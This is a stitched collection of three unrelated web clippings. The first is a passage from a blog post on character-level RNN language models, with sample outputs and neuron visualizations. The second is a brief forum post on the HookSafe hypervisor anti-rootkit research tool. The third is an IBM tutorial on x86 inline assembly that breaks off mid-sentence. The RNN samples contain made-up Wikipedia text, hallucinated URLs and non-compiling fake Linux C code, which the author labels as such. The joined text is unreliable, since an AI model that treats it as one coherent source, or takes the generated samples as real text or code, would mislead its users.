Softmax classifier on every output vector, with the correct class being the
index of the next character in the sequence. Once the loss is backpropagated
and the RNN's weights are updated, the correct next letters will have higher
scores when faced with similar inputs.

Notice also that the first time the character "l" is input, the target is "l",
but the second time the target is "o". The RNN therefore cannot rely on the
input alone and must use its recurrent connection to keep track of the context
to achieve this task.

At **test time** , we feed a character into the RNN and get a distribution
over what characters are likely to come next. We sample from this
distribution, and feed it right back in to get the next letter. Repeat this
process and you're sampling text\! Lets now train an RNN on different datasets
and see what happens.

## Fun with RNNs

All 5 example character models below were trained with the code I'm releasing
on Github. The input in each case is a single file with some text, and we're
training an RNN to predict the next character in the sequence.

### Paul Graham generator

Lets first try a small dataset of English as a sanity check. My favorite fun
dataset is the concatenation of Paul Graham's essays. The basic idea is that
there's a lot of wisdom in these essays, but unfortunately Paul Graham is a
relatively slow generator. Wouldn't it be great if we could sample startup
wisdom on demand? That's where an RNN comes in.

Concatenating all pg essays over the last ~5 years we get approximately 1MB
text file, or about 1 million characters \(this is considered a very small
dataset by the way\). _Technical:_ Lets train a 2-layer LSTM with 512 hidden
nodes \(approx. 3.5 million parameters\), and with dropout of 0.5 after each
layer. We'll train with batches of 100 examples and truncated backpropagation
through time of length 100 characters. With these settings one batch on a
TITAN Z GPU takes about 0.46 seconds \(this can be cut in half with 50
character BPTT at negligible cost in performance\). Without further ado, lets
see a sample from the RNN:

_" The surprised in investors weren't going to raise money. I'm not the
company with the time there are all interesting quickly, don't have to get off
the same programmers. There's a super-angel round fundraising, why do you can
do. If you have a different physical investment are become in people who
reduced in a startup with the way to argument the acquirer could see them just
that you're also the founders will part of users' affords that and an
alternation to the idea. \[2\] Don't work at first member to see the way kids
will seem in advance of a bad successful startup. And if you have to act the
big company too."_

Okay, clearly the above is unfortunately not going to replace Paul Graham
anytime soon, but remember that the RNN had to learn English completely from
scratch and with a small dataset \(including where you put commas, apostrophes
and spaces\). I also like that it learns to support its own arguments \(e.g.
\[2\], above\). Sometimes it says something that offers a glimmer of insight,
such as _" a company is a meeting to think to investors"_. Here's a link to
50K character sample if you'd like to see more.

**Temperature.** We can also play with the temperature of the Softmax during
sampling. Decreasing the temperature from 1 to some lower number \(e.g. 0.5\)
makes the RNN more confident, but also more conservative in its samples.
Conversely, higher temperatures will give more diversity but at cost of more
mistakes \(e.g. spelling mistakes, etc\). In particular, setting temperature
very near zero will give the most likely thing that Paul Graham might say:

_" is that they were all the same thing that was a startup is that they were
all the same thing that was a startup is that they were all the same thing
that was a startup is that they were all the same"_

looks like we've reached an infinite loop about startups.

### Shakespeare

It looks like we can learn to spell English words. But how about if there is
more structure and style in the data? To examine this I downloaded all the
works of Shakespeare and concatenated them into a single \(4.4MB\) file. We
can now afford to train a larger network, in this case lets try a 3-layer RNN
with 512 hidden nodes on each layer. After we train the network for a few
hours we obtain samples such as:

[code]

    PANDARUS:
    Alas, I think he shall be come approached and the day
    When little srain would be attain'd into being never fed,
    And who is but a chain and subjects of his death,
    I should not sleep.
    
    Second Senator:
    They are away this miseries, produced upon my soul,
    Breaking and strongly should be buried, when I perish
    The earth and thoughts of many states.
    
    DUKE VINCENTIO:
    Well, your wit is in the care of side and that.
    
    Second Lord:
    They would be ruled after this chamber, and
    my fair nues begun out of the fact, to be conveyed,
    Whose noble souls I'll have the heart of the wars.
    
    Clown:
    Come, sir, I will make did behold your worship.
    
    VIOLA:
    I'll drink it.
    
[/code]

Remember, all the RNN knows are charaters, so in particular it samples both
speaker's names and the contents. Sometimes we also get relatively extented
monologue passages, such as:

[code]

    VIOLA:
    Why, Salisbury must find his flesh and thought
    That which I am not aps, not a man and in fire,
    To show the reining of the raven and the wars
    To grace my hand reproach within, and not a fair are hand,
    That Caesar and my goodly father's world;
    When I was heaven of presence and our fleets,
    We spare with hours, but cut thy council I am great,
    Murdered and by thy master's ready there
    My power to give thee but so much as hell:
    Some service in the noble bondman here,
    Would show him to her wine.
    
    KING LEAR:
    O, if you were a feeble sight, the courtesy of your law,
    Your sight and several breath, will wear the gods
    With his heads, and my hands are wonder'd at the deeds,
    So drop upon your lordship's head, and your opinion
    Shall be against your honour.
    
[/code]

I can barely recognize these samples from actual Shakespeare :\) If you like
Shakespeare, you might appreciate this 100,000 character sample. Of course,
you can also generate an infinite amount of your own samples at different
temperatures with the provided code.

### Wikipedia

We saw that the LSTM can learn to spell words and copy general syntactic
structures. Lets further increase the difficulty and train on structured
markdown. In particular, lets take the Hutter Prize 100MB dataset of raw
Wikipedia and train an LSTM. Following Graves et al., I used the first 96MB
for training, the rest for validation and ran a few models overnight. Alex
reports performance of 1.67 Bits Per Character \(BPC\) with a 7-layer LSTM of
700 nodes. My best model ended up being a 3-layer LSTM with 700 nodes,
achieving 1.57 BPC after 7 epochs of training. I'm not exactly sure what
accounts for my better performance. Regardless, we can now sample Wikipedia
articles\! Below are a few fun excerpts. First, some basic markdown output:

[code]

    Naturalism and decision for the majority of Arab countries' capitalide was grounded
    by the Irish language by [[John Clair]], [[An Imperial Japanese Revolt]], associated 
    with Guangzham's sovereignty. His generals were the powerful ruler of the Portugal 
    in the [[Protestant Immineners]], which could be said to be directly in Cantonese 
    Communication, which followed a ceremony and set inspired prison, training. The 
    emperor travelled back to [[Antioch, Perth, October 25|21]] to note, the Kingdom 
    of Costa Rica, unsuccessful fashioned the [[Thrales]], [[Cynth's Dajoard]], known 
    in western [[Scotland]], near Italy to the conquest of India with the conflict. 
    Copyright was the succession of independence in the slop of Syrian influence that 
    was a famous German movement based on a more popular servicious, non-doctrinal 
    and sexual power post. Many governments recognize the military housing of the 
    [[Civil Liberalization and Infantry Resolution 265 National Party in Hungary]], 
    that is sympathetic to be to the [[Punjab Resolution]]
    (PJS)[http://www.humah.yahoo.com/guardian.
    cfm/7754800786d17551963s89.htm Official economics Adjoint for the Nazism, Montgomery 
    was swear to advance to the resources for those Socialism's rule, 
    was starting to signing a major tripad of aid exile.]]
    
[/code]

In case you were wondering, the yahoo url above doesn't actually exist, the
model just hallucinated it. Also, note that the model learns to open and close
the parenthesis correctly. There's also quite a lot of structured markdown
that the model learns, for example sometimes it creates headings, lists, etc.:

[code]

    { { cite journal | id=Cerling Nonforest Department|format=Newlymeslated|none } }
    ''www.e-complete''.
    
    '''See also''': [[List of ethical consent processing]]
    
    == See also ==
    *[[Iender dome of the ED]]
    *[[Anti-autism]]
    
    ===[[Religion|Religion]]===
    *[[French Writings]]
    *[[Maria]]
    *[[Revelation]]
    *[[Mount Agamul]]
    
    == External links==
    * [http://www.biblegateway.nih.gov/entrepre/ Website of the World Festival. The labour of India-county defeats at the Ripper of California Road.]
    
    ==External links==
    * [http://www.romanology.com/ Constitution of the Netherlands and Hispanic Competition for Bilabial and Commonwealth Industry (Republican Constitution of the Extent of the Netherlands)]
    
[/code]

Sometimes the model snaps into a mode of generating random but valid XML:

[code]

    <page>
      <title>Antichrist</title>
      <id>865</id>
      <revision>
        <id>15900676</id>
        <timestamp>2002-08-03T18:14:12Z</timestamp>
        <contributor>
          <username>Paris</username>
          <id>23</id>
        </contributor>
        <minor />
        <comment>Automated conversion</comment>
        <text xml:space="preserve">#REDIRECT [[Christianity]]</text>
      </revision>
    </page>
    
[/code]

The model completely makes up the timestamp, id, and so on. Also, note that it
closes the correct tags appropriately and in the correct nested order. Here
are 100,000 characters of sampled wikipedia if you're interested to see more.

### Algebraic Geometry \(Latex\)

The results above suggest that the model is actually quite good at learning
complex syntactic structures. Impressed by these results, my labmate \(Justin
Johnson\) and I decided to push even further into structured territories and
got a hold of this book on algebraic stacks/geometry. We downloaded the raw
Latex source file \(a 16MB file\) and trained a multilayer LSTM. Amazingly,
the resulting sampled Latex _almost_ compiles. We had to step in and fix a few
issues manually but then you get plausible looking math, it's quite
astonishing:

<img src='img/Temp2_8340.jpg' width='800' height='450' />

Sampled \(fake\) algebraic geometry. Here's the actual pdf.

Here's another sample:

<img src='img/Temp2_8341.jpg' width='800' height='452' />

More hallucinated algebraic geometry. Nice try on the diagram \(right\).

As you can see above, sometimes the model tries to generate latex diagrams,
but clearly it hasn't really figured them out. I also like the part where it
chooses to skip a proof \(_" Proof omitted."_, top left\). Of course, keep in
mind that latex has a relatively difficult structured syntactic format that I
haven't even fully mastered myself. For instance, here is a raw sample from
the model \(unedited\):

[code]

    \begin{proof}
    We may assume that $\mathcal{I}$ is an abelian sheaf on $\mathcal{C}$.
    \item Given a morphism $\Delta : \mathcal{F} \to \mathcal{I}$
    is an injective and let $\mathfrak q$ be an abelian sheaf on $X$.
    Let $\mathcal{F}$ be a fibered complex. Let $\mathcal{F}$ be a category.
    \begin{enumerate}
    \item \hyperref[setain-construction-phantom]{Lemma}
    \label{lemma-characterize-quasi-finite}
    Let $\mathcal{F}$ be an abelian quasi-coherent sheaf on $\mathcal{C}$.
    Let $\mathcal{F}$ be a coherent $\mathcal{O}_X$-module. Then
    $\mathcal{F}$ is an abelian catenary over $\mathcal{C}$.
    \item The following are equivalent
    \begin{enumerate}
    \item $\mathcal{F}$ is an $\mathcal{O}_X$-module.
    \end{lemma}
    
[/code]

This sample from a relatively decent model illustrates a few common mistakes.
For example, the model opens a `\begin{proof}` environment but then ends it
with a `\end{lemma}`. This is an example of a problem we'd have to fix
manually, and is likely due to the fact that the dependency is too long-term:
By the time the model is done with the proof it has forgotten whether it was
doing a proof or a lemma. Similarly, it opens an `\begin{enumerate}` but then
forgets to close it. We observed that these became less common with
larger/better models, but nonetheless, these are the kinds of mistakes that
come up.

### Linux Source Code

I wanted to push structured data to its limit, so for the final challenge I
decided to use code. In particular, I took all the source and header files
found in the Linux repo on Github, concatenated all of them in a single giant
file \(474MB of C code\) \(I was originally going to train only on the kernel
but that by itself is only ~16MB\). Then I trained several as-large-as-fits-
on-my-GPU 3-layer LSTMs over a period of a few days. These models have about
10 million parameters, which is still on the lower end for RNN models. The
results are superfun:

[code]

    /*
     * Increment the size file of the new incorrect UI_FILTER group information
     * of the size generatively.
     */
    static int indicate_policy(void)
    {
      int error;
      if (fd == MARN_EPT) {
        /*
         * The kernel blank will coeld it to userspace.
         */
        if (ss->segment < mem_total)
          unblock_graph_and_set_blocked();
        else
          ret = 1;
        goto bail;
      }
      segaddr = in_SB(in.addr);
      selector = seg / 16;
      setup_works = true;
      for (i = 0; i < blocks; i++) {
        seq = buf[i++];
        bpf = bd->bd.next + i * search;
        if (fd) {
          current = blocked;
        }
      }
      rw->name = "Getjbbregs";
      bprm_self_clearl(&iv->version);
      regs->new = blocks[(BPF_STATS << info->historidac)] | PFMR_CLOBATHINC_SECONDS << 12;
      return segtable;
    }
    
[/code]

The code looks really quite great overall. Of course, I don't think it
compiles but when you scroll through the generate code it feels very much like
a giant C code base. Notice that the RNN peppers its code with comments here
and there at random. It is also very good at making very few syntactic errors.
For example, it uses strings properly, pointer notation, etc. It also opens
and closes brackets `{[` correctly and learns to indent its code very well. A
common error is that it can't keep track of variable names: It often uses
undefined variables \(e.g. `rw` above\), declares variables it never uses
\(e.g. `int error`\), or returns non-existing variables. Lets see a few more
examples. Here's another snippet that shows a wider array of operations that
the RNN learns:

[code]

    /*
     * If this error is set, we will need anything right after that BSD.
     */
    static void action_new_function(struct s_stat_info *wb)
    {
      unsigned long flags;
      int lel_idx_bit = e->edd, *sys & ~((unsigned long) *FIRST_COMPAT);
      buf[0] = 0xFFFFFFFF & (bit << 4);
      min(inc, slist->bytes);
      printk(KERN_WARNING "Memory allocated %02x/%02x, "
        "original MLL instead\n"),
        min(min(multi_run - s->len, max) * num_data_in),
        frame_pos, sz + first_seg);
      div_u64_w(val, inb_p);
      spin_unlock(&disk->queue_lock);
      mutex_unlock(&s->sock->mutex);
      mutex_unlock(&func->mutex);
      return disassemble(info->pending_bh);
    }
    
    static void num_serial_settings(struct tty_struct *tty)
    {
      if (tty == tty)
        disable_single_st_p(dev);
      pci_disable_spool(port);
      return 0;
    }
    
    static void do_command(struct seq_file *m, void *v)
    {
      int column = 32 << (cmd[2] & 0x80);
      if (state)
        cmd = (int)(int_state ^ (in_8(&ch->ch_flags) & Cmd) ? 2 : 1);
      else
        seq = 1;
      for (i = 0; i < 16; i++) {
        if (k & (1 << 1))
          pipe = (in_use & UMXTHREAD_UNCCA) +
            ((count & 0x00000000fffffff8) & 0x000000f) << 8;
        if (count == 0)
          sub(pid, ppc_md.kexec_handle, 0x20000000);
        pipe_set_bytes(i, 0);
      }
      /* Free our user pages pointer to place camera if all dash */
      subsystem_info = &of_changes[PAGE_SIZE];
      rek_controls(offset, idx, &soffset);
      /* Now we want to deliberately put it to device */
      control_check_polarity(&context, val, 0);
      for (i = 0; i < COUNTER; i++)
        seq_puts(s, "policy ");
    }
    
[/code]

Notice that in the second function the model compares `tty == tty`, which is
vacuously true. On the other hand, at least the variable `tty` exists in the
scope this time\! In the last function, notice that the code does not return
anything, which happens to be correct since the function signature is `void`.
However, the first two functions were also declared `void` and did return
values. This is again a form of a common mistake due to long-term
interactions.

Sometimes the model decides that it's time to sample a new file. This is
usually a very amusing part: The model first recites the GNU license character
by character, samples a few includes, generates some macros and then dives
into the code:

[code]

    /*
     *  Copyright (c) 2006-2010, Intel Mobile Communications.  All rights reserved.
     *
     *   This program is free software; you can redistribute it and/or modify it
     * under the terms of the GNU General Public License version 2 as published by
     * the Free Software Foundation.
     *
     *        This program is distributed in the hope that it will be useful,
     * but WITHOUT ANY WARRANTY; without even the implied warranty of
     *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
     *
     *  GNU General Public License for more details.
     *
     *   You should have received a copy of the GNU General Public License
     *    along with this program; if not, write to the Free Software Foundation,
     *  Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
     */
    
    #include <linux/kexec.h>
    #include <linux/errno.h>
    #include <linux/io.h>
    #include <linux/platform_device.h>
    #include <linux/multi.h>
    #include <linux/ckevent.h>
    
    #include <asm/io.h>
    #include <asm/prom.h>
    #include <asm/e820.h>
    #include <asm/system_info.h>
    #include <asm/setew.h>
    #include <asm/pgproto.h>
    
    #define REG_PG    vesa_slot_addr_pack
    #define PFM_NOCOMP  AFSR(0, load)
    #define STACK_DDR(type)     (func)
    
    #define SWAP_ALLOCATE(nr)     (e)
    #define emulate_sigs()  arch_get_unaligned_child()
    #define access_rw(TST)  asm volatile("movd %%esp, %0, %3" : : "r" (0));   \
      if (__type & DO_READ)
    
    static void stat_PC_SEC __read_mostly offsetof(struct seq_argsqueue, \
              pC>[1]);
    
    static void
    os_prefix(unsigned long sys)
    {
    #ifdef CONFIG_PREEMPT
      PUT_PARAM_RAID(2, sel) = get_state_state();
      set_pid_sum((unsigned long)state, current_state_str(),
               (unsigned long)-1->lr_full; low;
    }
    
[/code]

There are too many fun parts to cover- I could probably write an entire blog
post on just this part. I'll cut it short for now, but here is 1MB of sampled
Linux code for your viewing pleasure.

## Understanding what's going on

We saw that the results at the end of training can be impressive, but how does
any of this work? Lets run two quick experiments to briefly peek under the
hood.

### The evolution of samples while training

First, it's fun to look at how the sampled text evolves while the model
trains. For example, I trained an LSTM of Leo Tolstoy's War and Peace and then
generated samples every 100 iterations of training. At iteration 100 the model
samples random jumbles:

[code]

    tyntd-iafhatawiaoihrdemot  lytdws  e ,tfti, astai f ogoh eoase rrranbyne 'nhthnee e 
    plia tklrgd t o idoe ns,smtt   h ne etie h,hregtrs nigtike,aoaenns lng
    
[/code]

However, notice that at least it is starting to get an idea about words
separated by spaces. Except sometimes it inserts two spaces. It also doesn't
know that comma is amost always followed by a space. At 300 iterations we see
that the model starts to get an idea about quotes and periods:

[code]

    "Tmont thithey" fomesscerliund
    Keushey. Thom here
    sheulke, anmerenith ol sivh I lalterthend Bleipile shuwy fil on aseterlome
    coaniogennc Phe lism thond hon at. MeiDimorotion in ther thize."
    
[/code]

The words are now also separated with spaces and the model starts to get the
idea about periods at the end of a sentence. At iteration 500:

[code]

    we counter. He stutn co des. His stanted out one ofler that concossions and was 
    to gearang reay Jotrets and with fre colt otf paitt thin wall. Which das stimn 
    
[/code]

the model has now learned to spell the shortest and most common words such as
"we", "He", "His", "Which", "and", etc. At iteration 700 we're starting to see
more and more English-like text emerge:

[code]

    Aftair fall unsuch that the hall for Prince Velzonski's that me of
    her hearly, and behs to so arwage fiving were to it beloge, pavu say falling misfort 
    how, and Gogition is so overelical and ofter.
    
[/code]

At iteration 1200 we're now seeing use of quotations and question/exclamation
marks. Longer words have now been learned as well:

[code]

    "Kite vouch!" he repeated by her
    door. "But I would be done and quarts, feeling, then, son is people...."
    
[/code]

Until at last we start to get properly spelled words, quotations, names, and
so on by about iteration 2000:

[code]

    "Why do what that day," replied Natasha, and wishing to himself the fact the
    princess, Princess Mary was easier, fed in had oftened him.
    Pierre aking his soul came to the packs and drove up his father-in-law women.
    
[/code]

The picture that emerges is that the model first discovers the general word-
space structure and then rapidly starts to learn the words; First starting
with the short words and then eventually the longer ones. Topics and themes
that span multiple words \(and in general longer-term dependencies\) start to
emerge only much later.

### Visualizing the predictions and the "neuron" firings in the RNN

Another fun visualization is to look at the predicted distributions over
characters. In the visualizations below we feed a Wikipedia RNN model
character data from the validation set \(shown along the blue/green rows\) and
under every character we visualize \(in red\) the top 5 guesses that the model
assigns for the next character. The guesses are colored by their probability
\(so dark red = judged as very likely, white = not very likely\). For example,
notice that there are stretches of characters where the model is extremely
confident about the next letter \(e.g., the model is very confident about
characters during the _http://www._ sequence\).

The input character sequence \(blue/green\) is colored based on the _firing_
of a randomly chosen neuron in the hidden representation of the RNN. Think
about it as green = very excited and blue = not very excited \(for those
familiar with details of LSTMs, these are values between \[-1,1\] in the
hidden state vector, which is just the gated and tanh'd LSTM cell state\).
Intuitively, this is visualizing the firing rate of some neuron in the "brain"
of the RNN while it reads the input sequence. Different neurons might be
looking for different patterns; Below we'll look at 4 different ones that I
found and thought were interesting or interpretable \(many also aren't\):

<img src='img/Temp2_8342.jpg' width='800' height='403' />

The neuron highlighted in this image seems to get very excited about URLs and
turns off outside of the URLs. The LSTM is likely using this neuron to
remember if it is inside a URL or not.

<img src='img/Temp2_8343.jpg' width='800' height='392' />

The highlighted neuron here gets very excited when the RNN is inside the \[\[
\]\] markdown environment and turns off outside of it. Interestingly, the
neuron can't turn on right after it sees the character "\[", it must wait for
the second "\[" and then activate. This task of counting whether the model has
seen one or two "\[" is likely done with a different neuron.

<img src='img/Temp2_8338.jpg' width='800' height='189' />

Here we see a neuron that varies seemingly linearly across the \[\[ \]\]
environment. In other words its activation is giving the RNN a time-aligned
coordinate system across the \[\[ \]\] scope. The RNN can use this information
to make different characters more or less likely depending on how early/late
it is in the \[\[ \]\] scope \(perhaps?\).

<img src='img/Temp2_8339.jpg' width='800' height='89' />

Here is another neuron that has very local behavior: it is relatively silent
but sharply turns off right after the first "w" in the "www" sequence. The RNN
might be using this neuron to count up how far in the "www" sequence it is, so
that it can know whether it should emit another "w", or if it should start the
URL.

Of course, a lot of these conclusions are slightly hand-wavy as the hidden
state of the RNN is a huge, high-dimensional and largely distributed
representation.

## Source Code

I hope I've convinced you that training character-level language models is a
very fun exercise. You can train your own models using the char-rnn code I
released on Github \(under MIT license\). It takes one large text file and
trains a character-level model that you can then sample from. Also, it helps
if you have a GPU or otherwise training on CPU will be about a factor of 10x
slower. In any case, if you end up training on some data and getting fun
results let me know\!

_Brief digression._ The code is written in Torch 7, which has recently become
my favorite deep learning framework. I've only started working with Torch/LUA
over the last few months and it hasn't been easy \(I spent a good amount of
time digging through the raw Torch code on Github and asking questions on
their _gitter_ to get things done\), but once you get a hang of things it
offers a lot of flexibility and speed. I've also worked with Caffe and Theano
in the past and I believe Torch, while not perfect, gets its levels of
abstraction and philosophy right better than others. In my view the desirable
features of an effective framework are:

  1. CPU/GPU transparent Tensor library with a lot of functionality \(slicing, array/matrix operations, etc. \)
  2. An entirely separate code base in a scripting language \(ideally Python\) that operates over Tensors and implements all Deep Learning stuff \(forward/backward, computation graphs, etc\)
  3. It should be possible to easily share pretrained models \(Caffe does this well, others don't\), and crucially 
  4. NO compilation step \(or at least not as currently done in Theano\). The trend in Deep Learning is towards larger, more complex networks that are are time-unrolled in complex graphs. It is critical that these do not compile for a long time or development time greatly suffers. Second, by compiling one gives up interpretability and the ability to log/debug effectively.

## Further Reading

Before the end of the post I also wanted to position RNNs in a wider context
and provide a sketch of the current research directions. RNNs have recently
generated a significant amount of buzz and excitement in the field of Deep
Learning. Similar to Convolutional Networks they have been around for decades
but their full potential has only recently started to get widely recognized,
in large part due to our growing computational resources. Here's a brief
sketch of a few recent developments \(definitely not complete list, and a lot
of this work draws from research back to 1990s, see related work sections\):

In the domain of **NLP/Speech** , RNNs transcribe speech to text, perform
machine translation, generate handwritten text, and of course, they have been
used as powerful language models \(Sutskever et al.\) \(Graves\) \(Mikolov et
al.\) \(both on the level of characters and words\). Currently it seems that
word-level models work better than character-level models, but this is surely
a temporary thing.

**Computer Vision.** RNNs are also quickly becoming pervasive in Computer
Vision. For example, we're seeing RNNs in frame-level video classification,
image captioning \(also including my own work and many others\), video
captioning and very recently visual question answering. My personal favorite
RNNs in Computer Vision paper is Recurrent Models of Visual Attention, both
due to its high-level direction \(sequential processing of images with
glances\) and the low-level modeling \(REINFORCE learning rule that is a
special case of policy gradient methods in Reinforcement Learning, which
allows one to train models that perform non-differentiable computation
\(taking glances around the image in this case\)\). I'm confident that this
type of hybrid model that consists of a blend of CNN for raw perception
coupled with an RNN glance policy on top will become pervasive in perception,
especially for more complex tasks that go beyond classifying some objects in
plain view.

**Inductive Reasoning, Memories and Attention.** Another extremely exciting
direction of research is oriented towards addressing the limitations of
vanilla recurrent networks. One problem is that RNNs are not inductive: They
memorize sequences extremely well, but they don't necessarily always show
convincing signs of generalizing in the _correct_ way \(I'll provide pointers
in a bit that make this more concrete\). A second issue is they unnecessarily
couple their representation size to the amount of computation per step. For
instance, if you double the size of the hidden state vector you'd quadruple
the amount of FLOPS at each step due to the matrix multiplication. Ideally,
we'd like to maintain a huge representation/memory \(e.g. containing all of
Wikipedia or many intermediate state variables\), while maintaining the
ability to keep computation per time step fixed.

The first convincing example of moving towards these directions was developed
in DeepMind's Neural Turing Machines paper. This paper sketched a path towards
models that can perform read/write operations between large, external memory
arrays and a smaller set of memory registers \(think of these as our working
memory\) where the computation happens. Crucially, the NTM paper also featured
very interesting memory addressing mechanisms that were implemented with a
\(soft, and fully-differentiable\) attention model. The concept of **soft
attention** has turned out to be a powerful modeling features and was also
featured in Neural Machine Translation by Jointly Learning to Align and
Translate for Machine Translation and Memory Networks for \(toy\) Question
Answering. In fact, I'd go as far as to say that

> The concept of **attention** is the most interesting recent architectural
> innovation in neural networks.
Now, I don't want to dive into too many details but a soft attention scheme
for memory addressing is convenient because it keeps the model fully-
differentiable, but unfortunately one sacrifices efficiency because everything
that can be attended to is attended to \(but softly\). This has motivated
multiple authors to swap soft attention models for **hard attention** where
one samples a particular chunk of memory to attend to \(e.g. a read/write
action for some memory cell instead of reading/writing from all cells to some
degree\). This model is significantly more philosophically appealing, scalable
and efficient, but unfortunately it is also non-differentiable. This then
calls for use of techniques from the Reinforcement Learning literature \(e.g.
REINFORCE\) where people are perfectly used to the concept of non-
differentiable interactions. This is very much ongoing work but these hard
attention models have been explored, for example, in Inferring Algorithmic
Patterns with Stack-Augmented Recurrent Nets, Reinforcement Learning Neural
Turing Machines, and Show Attend and Tell.

**People**. If you'd like to read up on RNNs I recommend theses from Alex
Graves, Ilya Sutskever and Tomas Mikolov. For more about REINFORCE and more
generally Reinforcement Learning and policy gradient methods \(which REINFORCE
is a special case of\) David Silver's class, or one of Pieter Abbeel's
classes.

**Code**. If you'd like to play with training RNNs I hear good things about
keras or passage for Theano, the code released with this post for Torch, or
this gist for raw numpy code I wrote a while ago that implements an efficient,
batched LSTM forward and backward pass. You can also have a look at my numpy-
based NeuralTalk which uses an RNN/LSTM to caption images, or maybe this Caffe
implementation by Jeff Donahue.

## Conclusion

We've learned about RNNs, how they work, why they have become a big deal,
we've trained an RNN character-level language model on several fun datasets,
and we've seen where RNNs are going. You can confidently expect a large amount
of innovation in the space of RNNs, and I believe they will become a pervasive
and critical component to intelligent systems.

Lastly, to add some **meta** to this post, I trained an RNN on the source file
of this blog post. Unfortunately, at about 46K characters I haven't written
enough data to properly feed the RNN, but the returned sample \(generated with
low temperature to get a more typical sample\) is:

[code]

    I've the RNN with and works, but the computed with program of the 
    RNN with and the computed of the RNN with with and the code
    
[/code]

Yes, the post was about RNN and how well it works, so clearly this works :\).
See you next time\!

  

# SecurityXploded Forum • View topic - Hypervisor Based Anti-Rootkit Tool

**Created:**| _3/9/2011 11:37:57 AM_  
---|---  
**Updated:**| _3/9/2011 11:38:25 AM_  
**Author:**| __  
**Tags:**| _rootkits anti-debugging hooks_  
  

### Hypervisor Based Anti-Rootkit Tool

<img src='img/Temp2_7383.gif' width='11' height='9' alt='Post' />by
**SecurityXploded** » Fri Feb 25, 2011 8:28 pm

Researchers at North Carolina State University and Microsoft Research have
designed Hypervisor based Anti-Rootkit tool - HookSafe \- to defeat powerful
Rootkits by using the machine's own hardware-based memory protection. As
aHypervisor it sits outside the OS and protects the Kernel from Rookit
infections.  
  
Hook-Safe is able to efficiently protect thousands of kernel hooks in a guest
OS from being hijacked. It continuously monitors and removes/prevents any
infections in the Kernel by Rootkits there by offering complete protection.  
  

<img src='img/Temp2_7382.gif' alt='Image' />

  
  
The main advantage of HookSafe over other tools is that it can remove kernel
based Rootkits even though it is already infected. This is not the case with
Anti-Rootkit tools which reside on top of OS as they can defeated by powerful
Rootkits operating in Kernel.  
  
HookSafe runs in Ubuntu Linux 8.04 and uses hardware-based memory protection
to stop rootkits from hijacking kernel hooks. With the help of Microsoft
Research, the research team also has a version of HookSafe under development
for the Windows research kernel.  
  
  

> As per Author, Jiang "It includes a patch to the OS kernel to relocate the
> kernel hooks,It also includes an extension to commodity hypervisors \[such
> as Xen\] to enforce the hook protection with the hardware-based memory
> protection."
  
  
  
Here is the research paper on the Hook-Safe design from this elite team -
"Countering Kernel Rootkits with Lightweight Hook Protection"

# Inline assembly for x86 in Linux

**Created:**| _8/19/2009 3:26:28 PM_  
---|---  
**Updated:**| _8/19/2009 3:26:39 PM_  
**Author:**| __  
**Tags:**| _asm Exploit programming_  
  

# Inline assembly for x86 in Linux

 _Putting the pieces together_

Bharata Rao \(rbharata@in.ibm.com\)IBM Linux Technology Center, IBM Software
Labs, India

**Summary:** Bharata B. Rao offers a guide to the overall use and structure of
inline assembly for x86 on the Linux platform. He covers the basics of inline
assembly and its various usages, gives some basic inline assembly coding
guidelines, and explains the instances of inline assembly code in the Linux
kernel.

**Date:** 01 Mar 2001  
**Level: ** Advanced  
**Activity:** 8382 views  
**Comments:** <img src='img/Temp2_4454.gif' width='50' height='12' /><img
src='img/Temp2_4455.gif' width='1' height='14' />

If you're a Linux kernel developer, you probably find yourself coding highly
architecture-dependent functions or optimizing a code path pretty often. And
you probably do this by inserting assembly language instructions into the
middle of C statements \(a method otherwise known as inline assembly\). Let's
take a look at the specific usage of inline assembly in Linux. \(We'll limit
our discussion to the IA32 assembly.\)

GNU assembler syntax in brief

Let's first look at the basic assembler syntax used in Linux. GCC, the GNU C
Compiler for Linux, uses AT&T assembly syntax. Some of the basic rules of this
syntax are listed below. \(The list is by no means complete; I've included
only those rules pertinent to inline assembly.\)

**Register naming**  
Register names are prefixed by %. That is, if eax has to be used, it should be
used as %eax.

**Source and destination ordering**  
In any instruction, source comes first and destination follows. This differs
from Intel syntax, where source comes after destination.

[code]

        mov %eax, %ebx, transfers the contents of eax to ebx.
    
    
[/code]  
---  
  

**Size of operand**  
The instructions are suffixed by b, w, or l, depending on whether the operand
is a byte, word, or long. This is not mandatory; GCC tries provide the
appropriate suffix by reading the operands. But specifying the suffixes
manually improves the code readability and eliminates the possibility of the
compilers guessing incorrectly.

[code]

        movb %al, %bl -- Byte move
            movw %ax, %bx -- Word move
            movl %eax, %ebx -- Longword move
    
    
[/code]  
---  
  

**Immediate operand**  
An immediate operand is specified by using $.

[code]

        movl $0xffff, %eax -- will move the value of 0xffff into eax register.
    
    
[/code]  
---  
  

**Indirect memory reference**  
Any indirect references to memory are done by using \( \).

[code]

     movb (%esi), %al -- will transfer the byte in the memory 
                         pointed by esi into al  register
    
    
[/code]  
---  
  

Back to top

Inline assembly

GCC provides the special construct "asm" for inline assembly, which has the
following format:

[code]

                         
                    
            asm ( assembler template
                : output operands                           (optional)
                : input operands                            (optional)
                : list of clobbered registers               (optional)
                );  
    
    
[/code]  
---  
  

In this example, the assembler template consists of assembly instructions. The
input operands are the C expressions that serve as input operands to the
instructions. The output operands are the C expressions on which the output of
the assembly instructions will be performed.

[code]

        asm ("movl %%cr3, %0\n" :"=r"(cr3val));
     
    
[/code]  
---  
  

[code]

      a        %eax
      b     %ebx
      c     %ecx
      d     %edx
      S     %esi
      D     %edi
    
    
[/code]  
---  
  

**Memory operand constraint\(m\)**  
When the operands are in the memory, any operations performed on them will
occur directly in the memory location, as opposed to register constraints,
which first store the value in a register to be modified and then write it
back to the memory location. But register constraints are usually used only
when they are absolutely necessary for an instruction or they significantly
speed up the process. Memory constraints can be used most efficiently in cases
where a C variable needs to be updated inside "asm" and you really don't want
to use a register to hold its value. For example, the value of idtr is stored
in the memory location loc:

[code]

         ("sidt %0\n" : :"m"(loc));
      
    
[/code]  
---  
  

**Matching\(Digit\) constraints**  
In some cases, a single variable may serve as both the input and the output
operand. Such cases may be specified in "asm" by using matching constraints.

[code]

        asm ("incl %0" :"=a"(var):"0"(var));
    
    
[/code]  
---  
  

In our example for matching constraints, the register %eax is used as both the
input and the output variable. var input is read to %eax and updated %eax is
stored in var again after increment. "0" here specifies the same constraint as
the 0th output variable. That is, it specifies that the output instance of var
should be stored in %eax only. This constraint can be used:

